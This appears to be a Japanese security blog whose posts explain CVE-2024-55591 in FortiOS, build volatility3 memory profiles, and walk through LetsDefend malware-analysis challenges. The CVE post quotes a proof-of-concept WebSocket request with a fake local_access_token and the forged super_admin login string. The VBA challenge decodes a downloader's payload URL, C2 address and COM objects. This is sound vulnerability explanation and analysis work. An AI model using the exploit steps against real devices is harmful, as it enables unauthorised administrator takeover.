4ensiX

4ensiX

FPと言ったものはFPを選んだが表示はTPになっていることに気づいた。

CVE-2024-55591の解説の解説

悪用禁止

自身の理解を振り返るメモ

CVE-2024-55591の概要

認証情報が無くとも,管理者権限で操作が可能になる脆弱性

例えば,FortiOSならブラウザでログインする管理画面でNode.jsが利用されている. 管理画面の認証機能に脆弱性が存在. この脆弱性を悪用することで, ブラウザ管理画面からFortigate CLIと同等の機能を持った「jsonconsole」を利用できてしまう. これによって,管理者ユーザの追加,VPNユーザの追加など設定変更ができてしまう.

jsonconsoleの画面

この脆弱性の悪用とみられる不正なアクセスが,脆弱性公表前から確認されていたらしい.

CVE-2024-55591の原因,悪用例概説

確認した限りで最初にgithubに最も悪用可能なPoCを公開したwatchtowrlabsの記事を参照しながら,話を進めていく.

結論から注目.

PoC and Conclusion

This has been a grinding journey for us, with twists, turns and misdirections all over the place, slowing our progress, but the fruit is there.

This vulnerability isn’t "just" a simple Authentication Bypass but a chain of issues combined into one critical vulnerability. To summarise this vulnerability in a digestible format, four important things are happening:

  1. A WebSocket connection can be created from a pre-authenticated HTTP request.
  2. A special parameter local_access_token can be used to skip session checks.
  3. A race condition in the WebSocket → Telnet CLI allows us to send authentication before the server does.
  4. The authentication which is raced by us contains no unique key, password or identifier to establish a user. We can just pick an choose our access profile (super_admin it is!).

では,脆弱性の悪用ステップの部分の日本語訳(kagitranslateを使用)

  1. WebSocket接続は、事前認証されたHTTPリクエストから作成することができます。
  2. セッションチェックをスキップするために、特別なパラメータlocal_access_tokenを使用することができます。
  3. WebSocket → Telnet CLIにおける競合状態により、サーバーが認証を行う前に認証を送信することが可能です。
  4. 私たちが競合させる認証には、ユーザーを確立するための一意のキー、パスワード、または識別子は含まれていません。私たちはアクセスプロファイルを自由に選択することができます(もちろんsuper_adminを選びます!)。

まずは最初の2ステップから確認.

1. WebSocket接続は、事前認証されたHTTPリクエストから作成することができます。

2. セッションチェックをスキップするために、特別なパラメータlocal_access_tokenを使用することができます。

watchtowrlabsの解説記事の下記の箇所.

Halfway through this function, just before !authParamsFound, which returns us null, is an interesting else if (localToken) that sets authParamsFound to true. There is no value check; it is just a check to see if some kind of value if present.

Fortigateの管理画面に関連するソースコードから, async _getAdminSession(request, options = {}) {という管理者でログインしてるかどうかチェックしていそうな部分で,

else if (localToken) {
            authParams[authParams.length - 1] += `?local_access_token=${localToken}`;
            authParamsFound = true;
        }

というようにlocal_access_tokenが正しいかどうかを検証しておらず,local_access_tokenに値が入っているか存在するかどうかしか確認していない. これで管理者機能にアクセスできてしまう部分がある. この部分が,CVE-2024-55591の主な脆弱性の箇所なのではないかと.

watchtowrlabsの作成したpythonスクリプトを見ると.

        upgrade_request = (
            f"GET /ws/cli/open?cols=162&rows=100&local_access_token=watchTowr HTTP/1.1\r\n"
            f"Host: {host}\r\n"
            f"Upgrade: websocket\r\n"
            f"Connection: Upgrade\r\n"
            f"Sec-WebSocket-Key: {ws_key}\r\n"
            f"Sec-WebSocket-Version: 13\r\n\r\n"
        )

他の認証リクエストを真似して,同じようなものを作ってしまえばいいというのが最初のステップ.Sec-WebSocket-Keyはフォーマットさえ合っていれば何でもいけそう.

次のステップのlocal_access_tokenはお好きな文字列を. こうして一部管理画面へのアクセスを認証情報無しにできてしまえていると思われる.

最初の2ステップは,よくあるような認証機能の不備.CWEだと,CWE-287あたりだろうか. 認証機能はあるけど,機能によってはちゃんと使っていない,認証情報の確認を行わない場合があるというような脆弱性

「そうはならんやろ」
「なっとるやろがい」

3. WebSocket → Telnet CLIにおける競合状態により、サーバーが認証を行う前に認証を送信することが可能です。

watchtowrlabsの解説記事の3ステップ目からは,CVE-2024-55591の悪用方法の例と考えている. 2ステップ目まで辿り着ければ,他にもできそうなことがありそうなので.(これについては後ほど)

「WebSocket → Telnet CLI」というのは解説記事から,管理画面のjsoncosoleがWebsocketを経由して端末のTelnetにアクセスしていることが分かる. これに関して,解説記事で注目したのは以下の部分.

During this initial period, however - when the server is waiting for Connected. - the function to send and receive messages over WebSocket from the client browser to the CLI Process over Telnet has already been established:

ws.on('message', msg => cli.write(msg));
cli.setNoDelay().on('data', data => this.processData(data));

Is this the vulnerability in the form of a race condition?

It looks like we're able to send data over the WebSocket to the CLI process, before the server processes it’s initialisation sequence.

WebSocket 経由でメッセージを送受信する機能は既に動いている????ということは手順をすっ飛ばして,jsonconsoleを使える?

よく似た機能を見ていたり,感が良い人は気づいたりするのかもしれないが, WebSocket経由でCLIに先にデータを送信できるってどうやって気づいたのだろうか. 色々試した結果なのだろうか.

実際は異なる部分があるが分かりやすく考えると,

  1. jsonconsoleを使い始めるというデータを送信し,
  2. サーバが初期化動作か何かを行い,
  3. 準備が出来たとサーバ側から返答が来たら,
  4. こちら側がjsonconsole用の必要情報を持ってサーバ側にアクセスし,
  5. サーバ側の認証後にメッセージか何かをサーバ側から返し,
  6. こちらからCLI機能を利用開始するデータを送信する

というようなものが正規の手順とすると,1のデータを投げたら全て飛ばして6のデータを投げ続けることで何か起こりそうという思考?

Subsequently, looking back at the logs as we walk through the process again, the value of this.loginContext from our upgraded request shows the following:

"Local_Process_Access" "Local_Process_Access" "root" "" "" "none" [192.168.1.179]:54145 [192.168.142.132]:80

Throwing together some Python, we wrote a quick/dirty script to create a WebSocket upgrade request and then instantly send this message to authenticate to see if we could trigger unexpected behaviour in this race, but we were met with a new error we hadn’t seen before:

Upgrade response: HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: qJ180PUWh8TuhgsJK6MyZg9WvkM=

Decoded: b'Bad args to CLI process.\\r\\n'

そして手順をすっ飛ばしたデータを投げ続けたら,CLIプロセス?というTelnet接続ぽいのが見えたと.

4. 私たちが競合させる認証には、ユーザーを確立するための一意のキー、パスワード、または識別子は含まれていません。私たちはアクセスプロファイルを自由に選択することができます(もちろんsuper_adminを選びます!)。

これが悪用の最後のステップ.

Telnet接続ぽいのが見えたが,投げるデータが間違っている所為か.上手くいかなかったと. しかしながら,正規の手順でのデータ送受信を確認したところ.

By logging in natively through the browser as the default user admin, the output from this.logincontext is :

"admin" "admin" "root" "super_admin" "root" "none" [192.168.1.179]:53893 [192.168.142.132]:80

Ah yes, these values look full of entropy.

送信する必要のある該当のデータを見つけたので,あとはもう投げるだけ. このデータ,"admin" "admin" "root" "super_admin" "root" "none" [192.168.1.179]:53893 [192.168.142.132]:80は ユーザ名やユーザプロファイル,接続元IP,接続先端末IPなどが含まれている.

このデータ形式を見ていて思い出したことが. FortiGuard LabsのCVE-2024-55591のページに記載のあった以下の部分.

Please note as well that an attacker needs to know an admin account's username to perform the attack and log in the CLI. Therefore, having a non-standard and non-guessable username for admin accounts does offer some protection, and is, in general, a best practice. Keep in mind however that the targeted websocket not being an authentication point, nothing would prevent an attacker from bruteforcing the username.

つまり,CVE-2024-55591を悪用するためにはユーザ名を知っている必要がある. 大抵の場合,ユーザ名adminを使っていそうな気がするなぁ.

また,最後のステップの説明通りプロファイルを自由に選択できるとのこと. これは,管理画面にログインできるユーザであればどんなプロファイルであっても,super_adminのユーザとしてjsonconsoleを利用できてしまうと.

If you look closely, you can find the answers to questions like:

  • Where is the password?
  • Where is some kind of token?

それでは,私が代わりに問いに答えます.

Q.パスワードはどこにありますか
A.要らないです!

Q.何らかの認証トークンが必要ですか
A.要りません!

こりゃもうだめだ...

watchtowrlabsのPoCの確認(悪用禁止)

実際にwatchtowrlabsのpythonスクリプトを使用.

pythonスクリプトの実行

左側がjsonconsoleの利用を行った際の記録,右側がpythonスクリプトを実行したもの. ログインせずにjsoncosoleのAdmin login successfulが記録される. 管理画面にログインせずに急に知らないjsonconsoleアクセスがあるのを監視すれば気づけるかもしれない. 悪用の際にはSourceIP,DestinationIPは任意のものに変更できる.Arctic Wolfの悪用痕跡 では,127.0.0.1や8.8.8.8など何かそれっぽく怪しくなさそうなのを装っている? この感じだと通常のログでは,攻撃元IPを追うのがかなり難しそうだ.

ちなみに悪用時と正規利用時のものを比べると次のようになる.

悪用時と正規利用時の記録

左が攻撃時,右が正しいもの. 正規のjsonconsole記録は,SourceIPがログイン元端末,DestinationIPがForti端末のIPになっている.

また,確認した感じだと管理画面にログインできるユーザであれば どんなユーザでもいけそう.例えば,次のnone_profと定義したユーザもjsonconsole悪用時のユーザとして指定可能であった.

雑に作成した権限の少ないユーザ

今回の解説は悪用の一例

先に触れた通り,watchtowrlabsの作成したものは,悪用の一例.

他のpocコード を確認すると,jsoncosoleではなく,おそらく他の方法でシステムログを表示しているものがある.

認証情報無しに管理画面にアクセスしてできることは他にもあるのでは.

CVE-2024-55591の対策

IPAのページFortinet 製 FortiOS の脆弱性対策について(CVE-2024-55591) | 情報セキュリティ | IPA 独立行政法人 情報処理推進機構 にあるような対策を行う

脆弱性の解消のためにはアップデート適用.

しかしながら,どうしても直ぐに適用できないのであれば - 管理画面を外部に公開しない - 管理画面にアクセスできるIPアドレスを制限する という一時的な回避策もある.

どうしても上記の全ての対応ができないのであれば, ブラウザ管理画面のユーザ名を全て推測不可能なものにするというのもありそうだが. それだけで守れるのは,jsonconsoleへのアクセスだけのように思える. そもそも,local_access_tokenであったりのjsonconsoleよりも前段階の部分もあるので. jsonconsole以外の致命的な悪用方法が広まってしまった場合には意味がなさそうだ.

やはり,アップデート適用が一番

redhat系Linuxのvolatility3プロファイルの作成 rocky linuxでの作業例

volatility3のプロファイル

volatility3でWindowsのメモリ解析を行う場合には,解析時にインターネットから自動的に必要なプロファイルがダウンロードされる.
Linuxの場合はメモリに合わせたプロファイルを作成する必要がある.

Linuxの場合には,基本的に対応するバージョンのカーネルデバッグに関するパッケージをインストールし,
vmlinuxを用いて専用ツールでプロファイルを作成する.
プロファイルの作成は,基本的にメモリダンプを取得したマシン自体のイメージは必要無い.
同じカーネルバージョンのマシンを用意してプロファイル作成を行う.
おそらく,メモリ解析対象のマシンがカスタムカーネルを利用している場合には,
対象マシンのvmlinuxを利用してプロファイルの作成が必要となる.(カスタムカーネルは未検証)

メモリはvolatility3のbanners.Bannersにより,メモリを取得したシステムのバージョンなどを取得することができる.

rocky linux 8.6のメモリプロファイル作成例

$ python3 volatility3/vol.py -f rock19-1/rock19-1.mem banners.Banners
Volatility 3 Framework 2.4.2
Progress:  100.00       PDB scanning finished                      
Offset  Banner

0xb800100   Linux version 4.18.0-372.19.1.el8_6.x86_64 (mockbuild@dal1-prod-builder001.bld.equ.rockylinux.org) (gcc version 8.5.0 20210514 (Red Hat 8.5.0-10) (GCC)) #1 SMP Tue Aug 2 16:19:42 UTC 2022

上記のようなrocky linux 8.6,Linux version 4.18.0-372.19.1.el8_6.x86_64のメモリのプロファイルを作成する.
rocky linuxの場合には http://dl.rockylinux.org/vault/rocky/ にインストールイメージや過去のパッケージ等が公開されている.

まずは,rocky linux 8.6のインストールする.例えば, http://dl.rockylinux.org/vault/rocky/8.6/Live/x86_64/ からliveイメージをダウンロードできる.
インストール作業の後に http://dl.rockylinux.org/vault/rocky/8.6/BaseOS/x86_64/debug/tree/Packages/k/ から対応したバージョンの必要なパッケージを取得する.

1.カーネルバージョンを合わせる

結局のところvmlinuxを取得できれば良いので合わせる必要は無い可能性もあるが,
念のためプロファイル作成を行うマシンのカーネルバージョンをLinux version 4.18.0-372.19.1.el8_6.x86_64に合わせる.

$ uname -a
Linux localhost.localdomain 4.18.0-372.9.1.el8.x86_64 #1 SMP Tue May 10 14:48:47 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
$ sudo yum --releasevre=8.6 updateinfo list kernel
(snip)
RLSA-2022:~~~ kernel-4.18.0-372.19.1.el8_6.x86_64
(snip)
$ sudo yum --releasever=8.6 update kernel-4.18.0-372.19.1.el8_6.x86_64
$ reboot
# 4.18.0-372.19.1.el8_6.x86_64を選択して起動

再起動後にはインストールしたカーネルバージョンを指定して起動する.

2.プロファイル作成に必要なvmlinuxの取得

$ uname -r # バージョンの確認
4.18.0-372.19.1.el8_6.x86_64
$ sudo yum install wget git #必要なパッケージのインストール
$ wget http://dl.rockylinux.org/vault/rocky/8.6/BaseOS/x86_64/debug/tree/Packages/k/kernel-debuginfo-common-x86_64-4.18.0-372.19.1.el8_6.x86_64.rpm #必要なrpmパッケージの取得
$ wget http://dl.rockylinux.org/vault/rocky/8.6/BaseOS/x86_64/debug/tree/Packages/k/kernel-debuginfo-4.18.0-372.19.1.el8_6.x86_64.rpm
$ wget http://dl.rockylinux.org/vault/rocky/8.6/BaseOS/x86_64/debug/tree/Packages/k/kernel-debug-debuginfo-4.18.0-372.19.1.el8_6.x86_64.rpm
$ sudo rpm -i kernel-debuginfo-common-x86_64-4.18.0-372.19.1.el8_6.x86_64.rpm #rpmパッケージのインストール
$ sudo rpm -i kernel-debuginfo-4.18.0-372.19.1.el8_6.x86_64.rpm
$ sudo rpm -i kernel-debug-debuginfo-4.18.0-372.19.1.el8_6.x86_64.rpm

3.プロファイル作成のためのツールの取得

プロファイル作成のためにvolatility公式で配布されているgoで書かれたツールを利用する.

$ sudo yum install golang
$ git clone https://github.com/volatilityfoundation/dwarf2json
$ cd dwarf2json/
$ go mod download github.com/spf13/pflag
$ go build

注意:インストールしたgolangが14.0より低い場合にはgoのツールをビルドできない場合がある.
もしもgo buildが上手くいかなかった場合には,go mod download github.com/spf13/pflagが正常に実行されたこと,
goのバージョンを確認する.

4.プロファイルの作成

2までが正常に行われていれば,/usr/lib/debug/usr/lib/modules/以下の目的のカーネルバージョンのディレクトリに目的のvmlinuxが生成されている.
vmlinuxとdwarf2jsonを用いて,プロファイルを作成する.

また,プロファイルの作成には少なくとも4GBではメモリ不足でプロファイル作成に失敗する.
正確には最低限必要なメモリ量は分かっていないが,今回のプロファイル作成であれば8GBならば正常に実行できる.

$ cp /usr/lib/debug/usr/lib/modules/4.18.0-372.19.1.el8_6.x86_64/vmlinux /tmp/vmlinux #念のためコピーを作成
$ ls -alh /tmp/vmlinux 
-rwxr-xr-x. 1 user user 884M May 27 22:04 /tmp/vmlinux
$ ./dwarf2json linux --elf /tmp/vmlinux > rocky-linux_4.18.0-372.19.1.el8_6.x86_64.json #プロファイルの命名は,お好みで

作成したプロファイルの設置

volatility3をソースから実行している場合には,volatility3/volatility3/framework/symbols/linux/以下置くことでプロファイルが自動的に適用される.
setup.pyを用いてインストールしている場合には,
例えばvol -vvv -f memory.mem banners.Bannersのように-vvvオプションを用いて実行すると
プロファイル(~/symbol/)やプラグイン(~/plugin/)を設置するためのディレクトリパスが分かる.

linux.pstreeによって正しくプロセスツリーが取得できていれば正常に作成できている.
例えば,rocky linux 8.6の場合.

$ cp rocky-linux_4.18.0-372.19.1.el8_6.x86_64.json ./volatility3/volatility3/framework/symbols/linux/.
$ python3 ../volatility3/vol.py -f rock19-1.mem linux.pstree
Volatility 3 Framework 2.4.2
Progress:  100.00       Stacking attempts finished                 
OFFSET (V)  PID TID PPID    COMM

0x8b110189a800  1   1   0   systemd
* 0x8b11066ad000    687 687 1   systemd-journal
(snip)
* 0x8b1106f08000    863 863 1   sssd
** 0x8b1104688000   885 885 863 sssd_be
** 0x8b1105c00000   893 893 863 sssd_nss
* 0x8b1105c05000    890 890 1   chronyd
* 0x8b110468d000    897 897 1   firewalld
* 0x8b11065dd000    898 898 1   ModemManager
* 0x8b1103a05000    914 914 1   systemd-logind
* 0x8b1103a00000    915 915 1   accounts-daemon
* 0x8b1102d9a800    982 982 1   NetworkManager
* 0x8b1103d90000    993 993 1   tuned
* 0x8b11044b2800    1210    1210    1   rsyslogd
* 0x8b1103d92800    1217    1217    1   atd
* 0x8b1106cf8000    1219    1219    1   crond
* 0x8b1102d9d000    1220    1220    1   lightdm
** 0x8b11062ba800   1252    1252    1220    Xorg
** 0x8b1107aba800   1706    1706    1220    lightdm
*** 0x8b1103d95000  1727    1727    1706    xfce4-session
**** 0x8b1107ab8000 1739    1739    1727    ssh-agent
**** 0x8b1107bad000 1806    1806    1727    xfwm4
**** 0x8b11078b8000 1810    1810    1727    xfsettingsd
**** 0x8b1107978000 1813    1813    1727    xfce4-panel
(snip)

他のredhat系について

他のredhat系に関しても同様に3つのパッケージをインストールすることで,プロファイルの作成ができると考える.

  • kernel-debuginfo-common-XXXXXX.rpm
  • kernel-debuginfo-XXXXXX.rpm
  • kernel-debug-debuginfo-XXXXXX.rpm

Redhat -> How can I download or install kernel debuginfo packages for RHEL systems? - Red Hat Customer Portal
Centos -> CentOS Debuginfo Mirror

volatility3 ubuntu 22.04.2 LTS へのインストール

Volatility(https://github.com/volatilityfoundation/volatility3)はメモリダンプを解析するためのフレームワークである.
元々python2で書かれたvolatilit2が主流であったが,2019年にpython3に対応したvolatility3がリリースされ,
現在はvolatility3へのプラグインの移植が行われている.
開発上に抱える問題があったこととpython2のサポートが終了したために,
python3に移行しているがvolatility3で扱えるlinuxメモリ解析のためのプラグインは未だ圧倒的に少ない.(2023/05/28 現在)
しかしながら,volatility2はLinuxカーネル4.4までしか対応していないため,現行のLinuxメモリ解析のためにはvolatility3を使わざるを得ない.

volatility3のインストール

githubvolatility3のページを参考に,
Ubuntu 22.04へのインストール例を次に示す.

ubuntu 22.04.2 LTS へのインストール

$ sudo apt update # updateの確認
$ sudo apt install python3-pip git build-essential libssl-dev libffi-dev libsnappy-dev # 必要なパッケージのインストール
$ git clone https://github.com/volatilityfoundation/volatility3.git # volatiltiy3の取得
$ cd volatility3/
$ pip3 install -r requirements.txt # volatility3の実行に必要なpythonモジュールの取得
$ python3 vol.py -h # テスト実行

githubvolatility3のページにあるように,
setup.pyを利用するとpython3のモジュールとしてvolatilityがインストールされ,volコマンドとしてパスが通る.

LetsDefend Challenge Malware Analysis: Malicious Doc

LetsDefend Challenge Malware Analysis: Malicious Doc

What type of exploit is running as a result of the relevant file running on the victim machine?

与えられたファイルをvirus totalで検索する.

virus totalで検索

Hint: {rtf.yyyyyyy}

ヒントに合わせて.
A: Rtf.Exploit

What is the relevant Exploit CVE code obtained as a result of the analysis?

virus totalのページにチラチラ見えている.
A: A: CVE-2017-11882

What is the name of the malicious software downloaded from the internet as a result of the file running?

virus totalから分かる.

virus total -> relations

A: jan2.exe

What is the ip address and port information it communicates with?

jan2.exeをダウンロードしたサーバだと思われる.

https://www.virustotal.com/gui/url/fcf627d0bbaefb1efa775d346430037349fa78c0dbf5bcb2e516ca32e600447d/details

A: 185.36.74.48:80

What is the exe name it drops to disk after it runs?

virus totalで見ても,anyrunで見ても分からなかったが,joesandboxのあるレポートで謎のexeを確認できた.

aro.exeは他のレポートで見られなかったが何らかの条件下のみ?

A: aro.exe

LetsDefend Challenge Malware Analysis: Malicious VBA

LetsDefend Challenge Malware Analysis: Malicious VBA

The document initiates the download of a payload after the execution, can you tell what website is hosting it?

今回与えられたファイルはVBAのテキストファイルだがolevbaで解析できる.

olevbaで見れる

実際のコードは分かりづらいが,ちらほらhexから文字列に変換できそうなものがある.
実際のvbaの一部
先ほどのolevbaの解析から見えたhttps://から始まる部分に関連するものが答えになりそうだ.

# コードではこの部分.
vxedylctlyqvkl = hgmneqolwgxg("68747470733a2f2f74696e") & hgmneqolwgxg("7975726c2e636f6d2f67327a3267683666")
68747470733a2f2f74696e7975726c2e636f6d2f67327a3267683666
-> https://tinyurl.com/g2z2gh6f

A: https://tinyurl.com/g2z2gh6f

What is the filename of the payload (include the extension)?

ダウンロードされたファイル名は近くにありそうだ.

yxxqowke = hgmneqolwgxg("64726f") & hgmneqolwgxg("707065642e657865")
64726f707065642e657865
-> dropped.exe

A: dropped.exe

What method is it using to establish an HTTP connection between files on the malicious web server?

アクセス先の前後あたりか.

Set yqlcangepvrccrx = CreateObject(hgmneqolwgxg("4d53584d4c322e") & hgmneqolwgxg("536572766572584d4c485454502e362e30"))
4d53584d4c322e536572766572584d4c485454502e362e30
-> MSXML2.ServerXMLHTTP.6.0

MSXML2.ServerXMLHTTP.6.0を使えば,vbaでwebアクセスができると.
authentication - Login into website using MSXML2.XMLHTTP instead of InternetExplorer.Application with VBA - Stack Overflow

A: MSXML2.ServerXMLHTTP

What user-agent string is it using?

setRequestHeaderという文字列が見えたのでここら辺にあるハズだ.

yqlcangepvrccrx.setRequestHeader hgmneqolwgxg("557365") & hgmneqolwgxg("722d4167656e74"), hgmneqolwgxg("4d6f7a696c6c612f342e302028636f6d7061") & hgmneqolwgxg("7469626c653b204d53494520362e303b2057696e646f7773204e5420352e3029")
557365722d4167656e744d6f7a696c6c612f342e302028636f6d70617469626c653b204d53494520362e303b2057696e646f7773204e5420352e3029
-> User-AgentMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

A: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

What object does the attacker use to be able to read or write text and binary files?

先ほどのアクセス先を確認していそうな部分があった.

tmffoscpfdripcxpd.Write yqlcangepvrccrx.ResponseBody

tmffoscpfdripcxpdはどういうふうに定義されているのかというと

Set tmffoscpfdripcxpd = CreateObject(hgmneqolwgxg("41444f") & hgmneqolwgxg("44422e53747265616d"))
41444f44422e53747265616d
-> ADODB.Stream

Stream オブジェクト (ADO) | Microsoft Learn
これで見ていそうだ.
A: ADODB.Stream

What is the object the attacker uses for WMI execution? Possibly they are using this to hide the suspicious application running in the background.

olevbaの解析で見えていたwinmgmtが怪しい.
Winmgmt - Win32 apps | Microsoft Learn

Set jcjvmxzi = GetObject(lylhbzknnnzm("77696e6d676d74733a5c5c2e5c726f6f745c63696d76323a57") & lylhbzknnnzm("696e33325f50726f63657373"))
77696e6d676d74733a5c5c2e5c726f6f745c63696d76323a57696e33325f50726f63657373
-> winmgmts:\\.\root\cimv2:Win32_Process

A: winmgmts:\.\root\cimv2:Win32_Process